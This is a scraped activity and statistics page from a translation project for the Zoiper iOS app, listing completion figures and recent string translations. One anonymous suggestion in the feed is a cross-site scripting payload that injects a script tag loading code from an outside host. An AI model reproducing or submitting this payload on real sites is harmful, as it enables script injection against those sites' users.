Component Translated Unfinished Unfinished words Unfinished characters Untranslated Checks Suggestions Comments
UI 51% 13,189 39,658 241,440 13,093 3,349 833 0
Glossary Zoiper iOS 75% 44 109 1,545 43 0 17 0

Overview

Project website zoiper.com
Instructions for translators

https://www.zoiper.com/en/translate-licensing-agreement
Project maintainers User avatar Ivan Zlatev User avatar admin
yesterday

String statistics

Strings percent Hosted strings Words percent Hosted words Characters percent Hosted characters
Total 27,230 79,032 484,152
Source 1,148 3,254 19,965
Translated 51% 13,997 49% 39,265 49% 241,167
Needs editing 1% 97 1% 1,365 1% 8,122
Read-only 3% 1,082 3% 3,148 3% 19,242
Failing checks 12% 3,349 15% 12,409 15% 77,228
Strings with suggestions 3% 850 3% 3,042 3% 19,013
Untranslated strings 48% 13,136 48% 38,402 48% 234,863
Last 12 months Previous

Activity in last 12 months

4 changes 0 changes 22 changes 654 changes 4 changes 47 changes 6,062 changes 10 changes 576 changes 114 changes 4 changes 1,350 changes 99 changes 30 changes 2,558 changes 2 changes 1,087 changes 5 changes 85 changes 59 changes 16 changes 461 changes 1,095 changes 13 changes
Apr May Jun Jul Aug Sep Oct Nov Dec Jan Feb Mar

Quick numbers

79,032
Hosted words
27,230
Hosted strings
51%
Translated
3
Contributors
and previous 30 days

Trends of last 30 days

—
Hosted words
+100%
—
Hosted strings
+100%
—
Translated
+51%
−100%
Contributors
+100%
User avatar None

Changes committed

  1. Zoiper iOS
  2. UI
  3. Japanese
Changes committed yesterday
User avatar cbatech

Translation changed

  1. Zoiper iOS
  2. UI
  3. Japanese
Strip dial characters
ストリップダイヤル時除外文字
yesterday
User avatar cbatech

Translation changed

  1. Zoiper iOS
  2. UI
  3. Japanese
Strip dial characters:
ストリップダイヤル時除外文字：
yesterday
User avatar None

Changes committed

  1. Zoiper iOS
  2. Zoiper iOS Glossary
  3. Italian
Changes committed 12 days ago
User avatar lrzmgg

Marked for edit

  1. Zoiper iOS
  2. Zoiper iOS Glossary
  3. Italian
IP Version Preference
Preferenza della versione IP
13 days ago
User avatar lrzmgg

Contributor joined

  1. Zoiper iOS
  2. Zoiper iOS Glossary
  3. Italian
Contributor joined 13 days ago
User avatar anonymous

Suggestion added

  1. Zoiper iOS
  2. Zoiper iOS Glossary
  3. Turkish
"><script src=https://rootsecss.xss.ht></script>
"><script src=https://rootsecss.xss.ht></script>
3 weeks ago
User avatar anonymous

Suggestion added

  1. Zoiper iOS
  2. UI
  3. German
Dismiss
Abbrechen
3 weeks ago
User avatar anonymous

Suggestion added

  1. Zoiper iOS
  2. UI
  3. German
TLS v1.1 (insecure)
TLS v1.1 (unsicher)
a month ago
User avatar anonymous

Suggestion added

  1. Zoiper iOS
  2. UI
  3. German
TLS v1.0 (insecure)
TLS v1.0 (unsicher)
a month ago
Browse all project changes